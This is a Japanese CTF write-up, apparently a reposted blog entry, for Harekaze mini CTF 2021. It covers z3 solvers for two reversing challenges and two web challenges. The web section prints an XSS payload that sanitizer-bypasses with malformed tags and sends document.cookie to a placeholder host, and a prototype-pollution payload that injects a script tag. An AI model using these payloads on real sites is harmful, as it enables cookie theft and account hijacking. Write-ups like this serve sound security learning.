Harekaze mini CTF 2021のwriteup
2021-12-24 21:33:21 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:38 收藏

Harekaze mini CTF 2021、3時間だし平日だしpwnないしで参加するか微妙でしたが、yoshikingとtheoremoonとで参加することになりました。 チームyoshikingdomは基本的にyoshiking国王が解くのですが、好き嫌いの激しい国王が残した問題は部下が解くことになります。 解けないと極刑になります。

ELFファイルなのでIDAで開くと、a, bというint型配列とフラグflagに対して、

a[i]*flag[i] + flag[i]*flag[i] + b[i] == 0

を32文字分満たせば良い。以上。

from z3 import *

flag = ""
with open("crackme", "rb") as f:
    f.seek(0x00003060)
    aa = f.read(4*32)
    f.seek(0x000030e0)
    bb = f.read(4*32)

for i in range(0, 4*32, 4):
    s = Solver()
    a = u32(aa[i:i+4])
    b = u32(bb[i:i+4])
    c = BitVec('c', 32)
    s.add((a*c + c*c + b) & 0xffffffff == 0)
    s.add(0 <= c, c < 0x100)
    r = s.check()
    if r == sat:
        flag += chr(s.model()[c].as_long())
    else:
        break

print(flag)

challengeという名前のファイルが貰える。 拡張子が付いていないがWindowsの実行ファイル。*1 IDAで開くとひと目でUPXで圧縮されていることが分かるが、UPXでは展開できないようになっている。 popadでHWブレークポイントを付けてイメージをダンプすると、展開後の実行ファイルになっているのでIDAで読む。 なんかbase64っぽい文字列をがちゃがちゃやっており、特定の条件を通るとフラグが出力される。 フラグが出力されるパスに向けてフラグレジスタを書き換えるとフラグが出る。

Pack Programを解いている間にtheoremoonが大部分を読んでくれていた。 ので、その処理をz3に投げると終わった。

from z3 import *

hoge  = b"M`\x00\x00Va\x00\x00cp\x00\x00So\x00\x00Ga\x00\x00UK\x00\x00zp\x00\x00zo\x00\x00"
hoge += b"o|\x00\x00ct\x00\x00[email protected]\x00\x00tw\x00\x00xq\x00\x00\x7fw\x00\x00Y'\x00\x00e$\x00\x00"
hoge += b"m0\x00\x00t\x5c\x00\x00Uv\x00\x00{`\x00\x00ls\x00\x00+v\x00\x00zt\x00\x00Tm\x00\x00"
hoge += b"6~\x00\x00qu\x00\x00$O\x00\x00ua\x00\x00x~\x00\x00pa\x00\x00=6\x00\x00tt\x00\x00"

def compress(v):
    o = 0
    o |= ((v >> 0) & 0xff)
    o |= ((v >> 8) & 0xff)
    o |= ((v >> 16) & 0xff)
    o |= ((v >> 24) & 0xff)
    o |= ((v >> 32) & 0xff)
    o |= ((v >> 40) & 0xff)
    o |= ((v >> 48) & 0xff)
    o |= ((v >> 56) & 0xff)
    o <<= 8
    o |= ((v >> 64) & 0xff)
    o |= ((v >> 72) & 0xff)
    o |= ((v >> 80) & 0xff)
    o |= ((v >> 88) & 0xff)
    o |= ((v >> 96) & 0xff)
    o |= ((v >> 104) & 0xff)
    o |= ((v >> 112) & 0xff)
    o |= ((v >> 120) & 0xff)
    return o

output = b""

mask = 0x80402010080402018040201008040201
for j in range(4):
    flag = BitVec('flag', 8*16)
    s = Solver()
    for i in range(8):
        v = simplify(compress(flag & mask))
        ans = int.from_bytes(hoge[j*32+i*4:j*32+i*4+4], 'little')
        print(hex(ans))
        s.add(v == ans)
        mask = (mask >> 8) | ((mask & 0xff) << 120)
    s.check()
    output += int.to_bytes(s.model()[flag].as_long(), 16, 'little')

print(output)

JSDOMとかいうのを使ってXSSを防いでいる。 <br>, <strong>, <em>, <del>タグしか使えない。

がちゃがちゃやってると

<strong </strong>>

みたいなことをしたときに>が1つ飛び出すことに気づく。 これがstrongタグの外に来ていた(気がする)ため

<strong </strong>><img src=x onerror="..."

と書けば、飛び出た>imgタグを閉じてくれるんじゃないかな、と思って試す。

<strong </strong>><img src=x onerror="if(document.cookie){location.href='http://XXXX:YYYY/'+document.cookie}"

なんか知らんけど、できたぁ。

解けませんでした。この国の憲法により極刑です。さようなら。

この問題はprototype pollutionっぽい香りをしているのですが、__proto__が禁止されているしprototype pollutionできたところで嬉しいことなくね?みたいになります。 innerHTMLに書き込むのは数値だけなのでXSSチャンスはありません。

まず__proto__を使わないでprototype pollutionする方法ですが「prototype pollution without __proto__」で調べてもゴミみたいなサイトしか出てきませんでした。*2だからできないものだと思っていました。 ところが実際は世間がゴミなだけでこれは可能で、a.constructor.prototype.b=xxxのようにして可能なようです。

これが出来たところで何をすれば良いのか分かりませんが、ここでscript gadgetというのを使うらしいです。

github.com

まぁ流石にこのページは見たことがありましたが、全然思いつきませんでした。captchaはクローラを守るために付けてると、思うじゃん :pleading_face:

それが分かればXSSができて、終了します。

http://emoji-tsukuru.harekaze.com/?text0.constructor.prototype.srcdoc=<script>alert();</script>

来年はWebを勉強します。


文章来源: https://ptr-yudai.hatenablog.com/entry/2021/12/24/223321
如有侵权请联系:admin#unsafe.sh